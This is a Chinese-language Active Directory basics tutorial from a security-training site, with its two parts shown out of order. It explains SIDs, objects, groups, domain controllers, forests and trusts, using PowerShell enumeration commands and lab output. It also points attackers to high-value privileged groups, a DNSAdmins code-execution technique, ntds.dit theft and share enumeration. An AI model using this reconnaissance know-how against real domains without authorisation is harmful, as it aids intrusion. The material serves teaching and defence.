**Identifier-Authority: **一个 48 位的颁发机构标识符,用于标识发布/创建 SID 的机构。 (在上述的例子中,标志符颁发机构的值为 5
Subauthority: 子颁发机构,这是一个变量编号,用于识别SID所描述的用户或组与创建它的机构的关系。
**RID:**相对标识符(RID),它能唯一标识相对于发布SID机构的帐户和组。
在域环境中,你会在多个位置看到用户 SID,例如在事件查看器或 ACL 中。SID也被用于安全描述符中,以存储与权限有关的信息。
下面是事件日志中用户SID的例子:
以下是注册表中用户SID的一个例子:
你可以在 Microsoft Docs 中找到常见的 SID 列表。:https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/security-identifiers-in-windows#well-known-sids-all-versions-of-windows
然而,在企业环境中,一个用户可以有一个以上的用户账户来完成不同的任务。例如,一个组织中的系统管理员可以有多个不同的账户,如一个账户用于在分配给他们的笔记本电脑上工作,第二个账户用于在本地域工作,还有几个账户用于在AD林中的其他域工作。
要获取 Active Directory 域中所有用户帐户的详细信息,我们可以使用以下命令:
PS C:\Users\scarred.monk> Get-ADUser -Filter *
这个命令的输出信息非常多,因为它包含了很多关于所有用户的细节。为了只获取用户的少数属性,我们可以使用cmdlet 的Select-Object (它的别名是Select),只选择我们感兴趣的属性,如SamAccountName、SID、enabled(查看账户是否启用/禁用)。
PS C:\Users\scarred.monk> Get-ADUser -f * |select SamAccountName, SID, enabled SamAccountName SID enabled -------------- --- ------- Administrator S-1-5-21-580985966-2115238843-2989639066-500 True Guest S-1-5-21-580985966-2115238843-2989639066-501 False krbtgt S-1-5-21-580985966-2115238843-298963906
这里可以使用Filter参数获取用户信息。Filter参数使用PowerShell表达式来编写 Active Directory查询字符串。使用 -F 同-Filter。
下面是使用 Filter 参数查找以 admin* 开头的用户帐户的示例:
PS C:\Users\scarred.monk> Get-ADUser -Filter 'Name -like "admin*"' DistinguishedName : CN=Administrator,CN=Users,DC=rootdse,DC=lab Enabled : True GivenName : Name : Administrator ObjectClass : user ObjectGUID : 061b1157-9a8d-4a34-9304-563a08e3883c SamAccountName : Administrator SID : S-1-5-21-580985
当你以域用户身份登录时,域计算机(在其上进行登录尝试)将请求发送到域控制器以进行身份验证,并询问域控制器为用户帐户分配了哪些权限。验证后,计算机会收到来自域控制器的响应,并使用适当的权限和限制让你登录。这是因为域用户帐户的凭据信息存储在域控制器上,而不是用户登录的本地计算机上。
如果要创建新用户可以使用 Cmdlet 的New-ADUser命令:
PS C:\> New-ADUser -Name "AD User" -GivenName AD -Surname User -SamAccountName ad.user -UserPrincipalName ad.user@rootdse.org -AccountPassword (ConvertTo-SecureString password@123 -AsPlainText -Force) -PassThru
3、Computer Objects(计算机对象)
计算机对象代表加入域并由用户用于登录域的机器。当用户以域用户身份登录计算机时,计算机对象将充当向域验证用户身份的媒介。因此,如果计算机对象从域中删除,用户将无法登录,因为计算机将无法访问域控制器。
PS C:\Users\scarred.monk> Get-ADComputer -f * DistinguishedName : CN=RDSEDC01,OU=Domain Controllers,DC=rootdse,DC=lab DNSHostName : RDSEDC01.rootdse.lab Enabled : True Name : RDSEDC01 ObjectClass : computer ObjectGUID : 032428f5-d629-451b-9d1d-46fce3ec0677 SamAccountName : RDSEDC01$ SID : S-1-5-21-5
所有计算机对象都有自己的机器用户,以$结尾。
在这个例子中,计算机对象RDSEDC01的机器账户是RDSEDC01$,这些帐户在域中执行自己的操作。
域中具有三种可以算作计算机对象的对象:
域控制器
域计算机(工作站)
成员服务器
域控制器
域控制器是一个集中式 Windows 服务器,它通过托管 Active Directory 域并向客户端提供身份验证和目录服务来管理域。域控制器只能处理单个域的身份验证请求,但它也可以存储来自林中其他域的对象的部分只读副本(如果它被启用为全局编录服务器)。
要检查域控制器,我们可以使用以下命令:
PS C:\Users\scarred.monk> Get-ADDomainController ComputerObjectDN : CN=RDSEDC01,OU=Domain Controllers,DC=rootdse,DC=lab DefaultPartition : DC=rootdse,DC=lab Domain : rootdse.lab Enabled : True Forest : rootdse.lab HostName : RDSEDC01.rootdse.lab InvocationId : 85a56dee-48fe-4897-8941-50ed5a196849 IP
域计算机(工作站)
域计算机可以由员工使用的个人计算机表示,例如属于域的台式机、笔记本电脑。就 Active Directory 而言,计算机对象与用户对象非常相似,因为计算机对象拥有用户对象的所有属性(计算机对象直接从用户对象类继承)。计算机出现在 Active Directory 中的原因很少,例如需要安全地访问资源、利用 GPO 并为其分配权限。
对象类会在后续的有关AD模式和LDAP的文章中详细解释
为了加入 Active Directory 域并允许域用户登录到该域,域计算机需要一个安全通道来与域控制器通信。安全通道是指可以传输加密数据的经过身份验证的连接。要创建安全通道,域计算机必须向域控制器提供域计算机帐户的密码。与用户帐户身份验证类似,Active Directory 使用 Kerberos 来验证计算机帐户的身份。域控制器通过关联的计算机对象及其存储的密码验证受信任的域计算机。
要检查域计算机,我们可以使用以下命令:
PS C:\Users\scarred.monk> Get-ADComputer -Filter *
成员服务器
域环境中的成员服务器提供不同的服务。这些服务器根据需要提供的服务类型安装了一个或多个角色,例如 Exchange 服务器、Web 服务器、文件服务器、SQL 服务器等。它们可以是 Windows Server 操作系统或 Linux 操作系统。
要检查成员服务器,我们可以使用以下命令:
PS C:\Users\scarred.monk> Get-ADComputer -Filter 'operatingsystem -like "*server*"'
让我们来谈谈下一种 AD 对象,即组对象。
4、组对象
组对象用于包含许多不同的 Active Directory 对象,例如用户、计算机和其他组。这样做是为了通过将权限分配给一组用户/计算机而不是单个帐户、为组创建委派组策略、创建电子邮件分发列表等,使系统管理员的管理更容易。
例如,在一个组织中,不同的团队有不同的组,并根据需要为这些组分配不同的权限。假设有一个名为“DB Admins”的组,该组有权登录并在多个 SQL 服务器上执行少量数据库操作、访问多个 DB 文件共享等。当新用户加入 DB 团队时,IT 团队会将用户添加到该组 (DB ADmins) 中,这将为新用户提供其团队成员拥有的所有访问权限。它节省了 IT 团队为每个用户单独配置权限的时间。
要获取 Active Directory 域中所有组的详细信息,我们可以使用以下命令:
PS C:\Users\scarred.monk> Get-ADGroup -f * | Select-Object name name ---- Administrators Users Guests Print Operators Backup Operators Replicator Remote Desktop Users Network Configuration Operators Performance Monitor Users Performance Log Users Distributed COM Users IIS_IUSRS Cryptographic Operato
组类型
分发组(Distribution Group)
分发组(通讯组)是用来在一个组中包括多个用户。当一封电子邮件被发送到一个分发组时,它将被发送到该分发组中的所有用户。例如。名称为Corporate Office的分发组将包括企业办公室的所有用户。当有人向该组发送电子邮件时,它将被发送给所有公司办公室员工。
安全组(Security Group)
与分发组类似,安全组可以包含用户/计算机帐户或组,用于向组中的用户/计算机提供跨域/林的不同访问和权限。例如,名为 DBAdmins 的安全组可以包含数据库操作团队的所有成员,这些成员可能有权访问多个 SQL 服务器和数据库团队的文件共享。当新的 DB 管理员加入团队时,将用户帐户添加到 DBAdmins 安全组将提供跨 SQL 数据库的所有权限。
要获取有关安全组的详细信息,我们可以使用GroupCategory -eq "security"这样的过滤器:
PS C:\Users\scarred.monk> Get-ADGroup -Filter {GroupCategory -eq "security"}
每个组类型有三个组作用域:
**Domain local(本地域):**用于仅在创建它的域中管理对不同域资源的访问权限。
**Global(全局):**用于提供对另一个域中资源的访问。一个全局组可以添加到其他全局和本地组。
**Universal(通用):**用于定义角色和管理分布在多个域中的资源。如果网络连接了多个分支,则最好仅对很少更改的组使用通用组。
Active Directory 中的一些重要组如下:
Admin groups(管理员组)
最重要的组是域管理员(Domain Admin)和企业管理员(Enterprise Admins):
Domain Admin(域管理员组)为其域中的成员提供管理员权限。
Enterprise Admins 组提供整个林中的管理员权限。
AD中的其他重要群组
除了上面两个重要的组之外,还有其他一些重要的组,你应该注意:
Schema Admins:Schema Admins 组的成员可以修改 Active Directory 数据库架构。该组拥有对Acitve Directory架构的完全管理权限
DNSAdmins:如果 DNS 服务器角色安装在域中的域控制器上,则 DNSAdmins 组的成员有权访问/修改网络 DNS 信息。 Shay Ber 发表了一篇文章https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83,解释了 DNSAdmins 组的成员如何以 SYSTEM 用户身份在域控制器中执行代码(任意 DLL)。
Print Operators:如果您在 Print Operators 组中添加用户,则该用户帐户可以登录域控制器。
Protected Users:受保护的用户组允许强制实施帐户的安全。该组的成员在身份验证过程中获得了额外的保护,以防止凭据泄露。
Server Operators:Server Operators 组的成员可以登录到域控制器并管理其配置。它可以创建和管理该域中的用户和组,但不可以管理服务器管理员账户。
Account Operators:Account Operators 组的成员可以创建和修改大多数类型的帐户,包括用户、本地组和全局组的帐户,并且成员可以本地登录到域控制器。但是,帐户操作员组的成员无法管理管理员用户帐户或管理员、Server Operators, Account Operators, Backup Operators,和 Print Operators 。
Backup Operators:Backup Operators的成员有权登录、备份、恢复/修改域控制器中的文件。
Remote Desktop Users:该组的成员可以通过 RDP 登录到域控制器。如果用户已经有权在本地登录域控制器,则将其添加到该组可以允许用户通过 RDP 远程登录域控制器。如果未启用本地登录并将其添加到此组,则您将看到以下警告:
Group Policy Creator Owners:组策略创建者所有者的成员可以编辑域中的 GPO。
以下是一些高价值组。这些组的成员默认拥有登录域控制器的权限。如果这些组的账户被入侵,那么AD域就很有可能被入侵。
Administrators Domain Admins Enterprise Admins Print Operators Backup Operators Account Operators
Custom groups(自定义组)
除此之外,组织还为 IT 管理员、IT 服务台、SQL 管理员、应用程序管理员等创建自定义特权组。此外,如果我们向服务器添加其他角色,则会创建组。就像我们添加 DHCP 角色时,创建了 DHCP 管理员组或安装 Microsoft Exchange 时,添加了 Exchange 组织管理员和 Exchange Windows 权限组。要获取详细信息,在微软的文档中还有许多其他组的描述:https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-secu
Shared Folders(共享文件夹)
共享文件夹也是 Active Directory 中的对象。在 AD 中发布新共享时,会为其创建一个对象。这对于 AD 用户轻松找到所有共享非常有帮助。下面是在 AD 中发布的共享文件夹的屏幕截图:
对于渗透测试人员,可以枚举共享以查看哪些是可访问的以及存储在那里的数据。我们可以这样枚举共享:
PS C:\> Get-SmbShare Name ScopeName Path Description ---- --------- ---- ----------- ADMIN$ * C:\Windows Remote Admin C$ * C:\ Default share Corporate Files * C:\ADShares\Corporate Files Corporate Files data for 2020 DBA Backup * C:\ADShares\DBA Backup Romania DB Backup IPC$ * Remote IPC IT Tools *
在第下次文章中,我们将介绍组策略,它是 Active Directory 的重要元素之一。我们将讨论什么是组策略、为什么需要它们、如何创建它们、使用组策略可以实现什么,并了解如何枚举和破坏组策略。
AD(Active Directory)基础知识
https://edu.yijinglab.com/post/100#1-%E6%A6%82%E8%BF%B0 1、概述
本文侧重于从不同角度了解Windows Active Directory环境。如从管理员身份配置安全策略的角度、攻击者绕过安全策略的角度、检测攻击者的角度。导致Active Directory受攻击破坏的因素有很多,比如错误的配置、糟糕的维护程序以及管理员犯的其他很多错误。文章涉及基本和高级的概念、环境配置及攻击,内容可能有点长,但是这有助于模拟不同的攻击,模拟和了解红队的攻击行为。
https://edu.yijinglab.com/post/100#2-%E4%BB%80%E4%B9%88%E6%98%AFactive-directory 2、什么是Active Directory
Active Directory简单来说,就是Microsfot提供的一项功能服务,它充当集中存储库并存储与Active Directory 用户、计算机、服务器和组织内的其他资源等对象相关的所有数据,它使系统管理员的管理变得容易。但它的主要功能是提供一种在域环境中对用户和机器进行身份验证的方法。使用 Active Directory,可以远程管理用户、工作站及其权限等资源。因此,它是一个可从网络上的任何地方访问的单一管理界面。它主要是 Microsoft Windows 的一项功能,但其他操作系统也可以加入其中,例如你可以在 Active Directory 环境中加入Linux 主机。
https://edu.yijinglab.com/post/100#3-%E4%BB%80%E4%B9%88%E6%98%AF%E5%9F%9F 3、什么是域
简而言之,域可以称为共享公共 Active Directory 数据库的所有 Active Directory 对象(如用户、计算机、组等)的集合或结构,并由称为域控制器的域的主服务器管理。域始终以其唯一的名称来引用,并且具有正确的域名结构。
域名示例:rootdse.lab
此域名中的ROOTDSE代表其NetBIOS名称
我们可以将Active Directory基础结构拆分成多个单独的域,以创建更小的边界,以便可以在大型网络中分离不同域的管理任务。在Active Directory环境中,域还可以为管理某些设置(如密码策略和帐户锁定策略)创建边界,以便它们只能应用于域级别的域用户帐户。我们将在本系列的后面部分详细讨论组策略和错误配置的策略。
域中包含的几个重要组件:
组、用户、计算机等对象。
身份认证服务
组策略
DNS
DHCP
https://edu.yijinglab.com/post/100#active-directory-powershell%E6%A8%A1%E5%9D%97 Active Directory PowerShell模块
通过在Powershell中导入Active Directory模块,我们可以检索有关域环境的基本信息。
默认情况下,Active Directory模块只存在于域控制器中,不存在工作站上。
这些文件的路径:C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.ActiveDirectory.Management\
默认情况下,此模块需要在要启用需要管理权限的 Active Directory powershell 模块的客户端计算机上安装远程服务器管理工具包 (RSAT)。每个域控制器都安装了 RSAT。因此域控制器和成员服务器都安装了内置的 Active Directory powershell 模块。但是也有一种方法可以在工作站上使用它(无需安装 RSAT),只需从域控制器复制 DLL 文件并将其导入到 powershell 会话中即可。
要在加入域的工作站上导入它,请从此处下载它(https://github.com/ScarredMonk/RootDSE-ActiveDirectory),然后使用Import-Module简单地导入它,然后就可以使用此模块中的任何命令。
Import-Module '.\Microsoft.ActiveDirectory.Management.dll'
要检索有关域的信息,我们可以使用以下命令:
PS C:\Users\scarred.monk> Get-ADDomain AllowedDNSSuffixes : {} ChildDomains : {matrix.rootdse.lab} ComputersContainer : CN=Computers,DC=rootdse,DC=lab DeletedObjectsContainer : CN=Deleted Objects,DC=rootdse,DC=lab DistinguishedName : DC=rootdse,DC=lab DNSRoot : rootdse.lab DomainControllersContainer
要检索域名,我们可以使用以下命令:
PS C:\Users\scarred.monk> (Get-ADDomain).DNSRoot rootdse.lab
https://edu.yijinglab.com/post/100#sid SID
每个域都有一个唯一的 SID(安全标识符)来标识它。通常,SID 用于唯一标识安全主体,例如用户帐户、计算机帐户或在安全上下文中运行的进程或用户或计算机帐户。 SID 在其范围内(域或本地)是唯一的,并且永远不会被重用。对于域帐户,安全主体的 SID 是通过将域的 SID 与帐户的相对标识符 (RID) 连接起来创建的。
https://edu.yijinglab.com/post/100#rid RID
RID(相对标识符)是Active Directory对象的安全标识符(SID)的一部分,用于唯一标识域中的帐户或组。它在创建时分配给Active Directory对象。RID是SID的最后一部分。
https://edu.yijinglab.com/post/100#fqdn-%E5%AE%8C%E5%85%A8%E5%90%88%E6%A0%BC%E5%9F%9F%E5%90%8D%E5%85%A8%E7%A7%B0%E5%9F%9F%E5%90%8D FQDN( 完全合格域名/全称域名)
完全合格域名是域中特定主机的完整域名。
FQDN包含两部分:主机名+域名
例如,如果域是 matrix.rootdse.lab,并且矩阵域中的计算机具有主机名 MTRXDC01,则该计算机的 FQDN 将是 mtrxdc01.matrix.rootdse.lab
https://edu.yijinglab.com/post/100#4-%E5%9F%9F%E6%8E%A7%E5%88%B6%E5%99%A8domain-controller 4、域控制器(Domain Controller)
简而言之,Active Directory域控制器承载对域中的身份验证请求进行响应的服务。它对网络上的用户访问进行身份验证和验证。当用户和计算机帐户登录到网络时,他们向域控制器进行身份验证,域控制器验证他们的信息(如用户名、密码),然后决定是允许还是拒绝这些用户的访问。域控制器是攻击者的重要服务器和主要目标,因为它持有Active Directory环境的密钥。每个域至少有一个域控制器(也可以有其他域控制器)。
要检查域控制器,我们可以使用以下命令:
PS C:\Users\scarred.monk> (Get-ADDomainController).HostName RDSEDC01.rootdse.lab
域控制器提供名称解析服务,并负责将域数据库中有关域对象的信息保持为最新。Active Directory数据库存储在文件C:\WINDOWS\NTDS\ntds.dit中,该文件在域控制器中维护。如果此文件被盗,则有关Active Directory对象(如用户、计算机、组、GPO等)的所有信息(包括用户凭据)也会受到威胁。
https://edu.yijinglab.com/post/100#%E5%8F%AA%E8%AF%BB%E5%9F%9F%E6%8E%A7%E5%88%B6%E5%99%A8 只读域控制器
出于备份目的,域控制器有三种类型,即主域控制器、只读域控制器和附加域控制器。只读域控制器(RODC)不允许对数据库进行任何更改。如果是只读域控制器,则必须在可写域控制器上进行更改,然后将其复制到特定域中的只读域控制器。只读域控制器是为了解决在远程位置的分支机构中常见的问题,这些分支机构可能没有域控制器,或者物理安全性差、网络带宽差,或者没有当地的专业知识来支持它。只读域控制器的主要用途是促进来自远程办公分支机构的身份验证,并允许用户访问域资源。
https://edu.yijinglab.com/post/100#5-%E5%9F%9F%E6%A0%91domain-tree 5、域树(Domain Tree)
域树表示为一系列以分层顺序连接在一起的域,这些域使用相同的DNS命名空间。当我们将子域添加到父域时,会创建域树。例如,有一个根域rootdse.lab,并向其添加了一个新的域矩阵(FQDN为matrix.rootdse.lab),一旦在两者之间自动创建树系信任,它就会成为同一域树的一部分。信任将在下一节中解释。
https://edu.yijinglab.com/post/100#6-%E6%A3%AE%E6%9E%97forest 6、森林(Forest)
Active Directory林是共享公共架构的多个域树的集合,所有域通过信任连接在一起。林中的每个域都可以有一个或多个域控制器,这些域控制器可以与其他域交互,也可以访问来自其他域的资源。林的名称与根域相同。如果林包含单个域,则该域本身就是根域。
我们可以按如下方式检查Active Directory中的林名称:
PS C:\Users\scarred.monk> Get-ADForest ApplicationPartitions : {DC=DomainDnsZones,DC=matrix,DC=rootdse,DC=lab, DC=ForestDnsZones,DC=rootdse,DC=lab, DC=DomainDnsZones,DC=rootdse,DC=lab} CrossForestReferences : {} DomainNamingMaster : RDSEDC01.rootdse.lab Domains : {matrix.rootdse.lab, rootdse.lab} Fo
通过从上面的输出请求RootDomain属性,可以过滤上面的命令以提取林名称:
PS C:\Users\scarred.monk> (Get-ADForest).RootDomain rootdse.lab
同样,我们可以使用此方法查看任何特定的属性,方法是将整个命令放在括号中,然后键入要查看的属性名称。
https://edu.yijinglab.com/post/100#7-%E4%BF%A1%E4%BB%BBtrusts 7、信任(Trusts)
在林中,域通过称为信任的连接相互连接。这就是为什么一个域的用户能够访问其他域的资源。在 Active Directory 环境中,一旦在两个域之间建立信任关系,它就会向跨实体的用户、组和计算机授予对资源的访问权限。这是通过连接域之间的身份验证系统并允许身份验证流量在它们之间流动来完成的。稍后将详细讨论这一点,以了解当一个域中的用户请求访问另一个域的资源时会发生什么,当前域控制器向用户返回一个特殊的票证(用域间信任密钥签名),该票证指的是另一个域的域控制器。这部分会在后续的 Kerberos 部分详细解释。
https://edu.yijinglab.com/post/100#%E4%BF%A1%E4%BB%BB%E6%96%B9%E5%90%91%E5%8D%95%E5%90%91%E6%88%96%E5%8F%8C%E5%90%91 信任方向(单向或双向)
信托可以是单向的,也可以是双向的。在单向信任域中,域一信任域二,这意味着域一是信任域,域二将是受信任域。某个域中的用户访问另一个域中的资源,该用户需要在信任域中。下图显示了两个域之间信任流的图形表示。
在双向信任的情况下,所有域都可以与所有用户共享资源,而不管它们属于哪个域。顾名思义,信任是双向的。当我们在两个域(域一和域二)之间创建信任时,域一中的用户帐户将可以访问域二中的资源,反之亦然。
有各种类型的信任。信任可以是传递性的,也可以是非传递性的。下表解释了不同类型的信任。
信任类型属性信任方向验证详情Tree-RootTransitive双向Kerberos V5 or NTLM将新树添加到林时自动创建Parent-ChildTransitive双向Kerberos V5 or NTLM添加子域时自动创建ShortcutTransitive单向或者双向Kerberos V5 or NTLM手动创建。在林中使用以缩短信任路径以提高身份验证时间ForestTransitive单向或者双向Kerberos V5 or NTLM手动创建。用于在AD DS林之间共享资源。
https://edu.yijinglab.com/post/100#%E6%A3%AE%E6%9E%97%E4%B8%AD%E7%9A%84%E4%BC%A0%E9%80%92%E4%BF%A1%E4%BB%BB 森林中的传递信任:
可传递信任扩展到林中的任何其他受信任域。
例如:
如果域1信任域2,域2信任域3,则域1信任域3。
在这里,信任关系通过每个受信任域。因为它是可传递的信任,所以它允许域1中的用户帐户访问域3中的资源,反之亦然(而不必在域1和域3之间创建额外的信任)
https://edu.yijinglab.com/post/100#%E6%A3%AE%E6%9E%97%E4%B8%AD%E7%9A%84%E9%9D%9E%E4%BC%A0%E9%80%92%E6%80%A7%E4%BF%A1%E4%BB%BB 森林中的非传递性信任
在不可传递信任的情况下,与信任之外的域的关系受到限制。这意味着不允许其他域访问信任之外的资源。他们将无法通过其身份验证信息。
在上面的示例中,域1和域2之间建立了不可传递的信任关系,两个域中的用户帐户都可以访问另一个域中的资源。因此,当我们添加新的域3并在域2和域3之间创建信任时,域1中的用户不会自动被允许访问域3中的资源。
https://edu.yijinglab.com/post/100#%E6%A3%AE%E6%9E%97%E4%B8%AD%E7%9A%84%E8%87%AA%E5%8A%A8%E4%BF%A1%E4%BB%BB 森林中的自动信任
默认情况下,当添加子域或添加域树时,会自动创建双向可传递信任。两种默认信任类型是父子信任和树根信任。
https://edu.yijinglab.com/post/100#8-%E5%85%A8%E5%B1%80%E7%BC%96%E5%BD%95-global-cataloggc 8、全局编录 Global Catalog(GC)
全局编录用于执行全林搜索,因为全局编录服务器包含所有对象的完整副本。默认情况下,域中的根域控制器被视为全局编录服务器。为了加快对林中其他域中对象的查询速度,全局编录服务器具有其自己域的副本和其他域对象的只读分区。假设我们必须从当前域以外的域中查询特定用户的描述属性,在这种情况下,全局编录将检索它而无需查询其他域的域控制器。
让我们举一个具有四个域的 Active Directory 林的示例,其中域1是根域:
由于域1是根域控制器,因此它保存当前域的完全可写目录分区:
全局编录服务器在目录数据库文件(Ntds.dit)中保存其自己域的副本(完整且可写)和林中所有其他域的部分只读副本:
https://edu.yijinglab.com/post/100#9-%E5%B0%8F%E7%BB%93 9、小结
1、Active Directory是一种目录服务,充当集中式存储库并保存与Active Directory对象相关的所有数据
2、Active Directory域是共享Active Directory数据库的所有对象(如用户、计算机、组等)的结构
3、域代表Active Directory林中的逻辑分区
4、SID(安全标识符)用于唯一标识用户、计算机帐户等安全主体
5、RID (Relative identifier) 是 SID 的最后一部分,用于唯一标识域内的帐户或组
6、FQDN是域中特定主机的完整域名
7、域树基本上是一系列按层次顺序连接在一起的域
8、域控制器对网络上的用户访问进行身份验证和验证
9、信任允许用户、组和计算机访问其他实体的资源
10、全局编录包含所有对象的完整副本,在执行林范围搜索时使用
在第2部分中,我们将介绍不同类型的Active Directory对象以及如何查询它们。
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

